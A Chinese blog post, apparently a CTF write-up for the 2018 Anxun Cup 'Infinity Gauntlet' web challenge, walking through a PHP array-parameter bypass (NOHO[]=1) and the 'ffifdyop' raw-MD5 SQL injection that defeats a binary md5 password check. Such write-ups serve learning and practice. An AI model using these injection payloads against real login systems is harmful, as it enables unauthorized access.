• 博客园logo
  • 会员
  • 周边
  • 众包
  • 新闻
  • 博问
  • 闪存
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
梅不美
博客园    首页    新随笔    联系   管理    订阅  订阅
2018 安洵杯-无限手套

打开页面最下面出现一行:Parameter NOHO:The Number Of Higher Organisms说明有个NOHO参数

    http://62.234.99.204:8007/?NOHO=1提示too small!!

    http://62.234.99.204:8007/?NOHO=9999999提示too long(>2)

利用PHP中数组大小大于数字的特点,构造如下pyload:

    http://62.234.99.204:8007/?NOHO[]=1成功出现输入框

在输入框输入123,查看页面源代码注释中出现如下信息:

     SELECT master FROM secret WHERE password = binary ' ,�b�Y[�K-#Kp'

Binary函数:函数将值转换为二进制字符串

一般情况下密码都是用MD5进行加密,尝试将输入的123进行MD5加密在转换为ASCII码,就是 ,�b�Y[�K-#Kp。

猜测后台的数据库查询语句为:SELECT master FROM secret WHERE password = binary 'md5(password)'

由于语句对输入没检查,现在就尝试SQL注入绕过

如123’OR’123,查找MD5中包含’OR’的字符:ffifdyop

SELECT master FROM secret WHERE password = binary ''or'6ɝ™顲,ù'

输入:ffifdyop得到flag

 

 

posted on 2020-08-12 16:29  梅不美  阅读(363)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3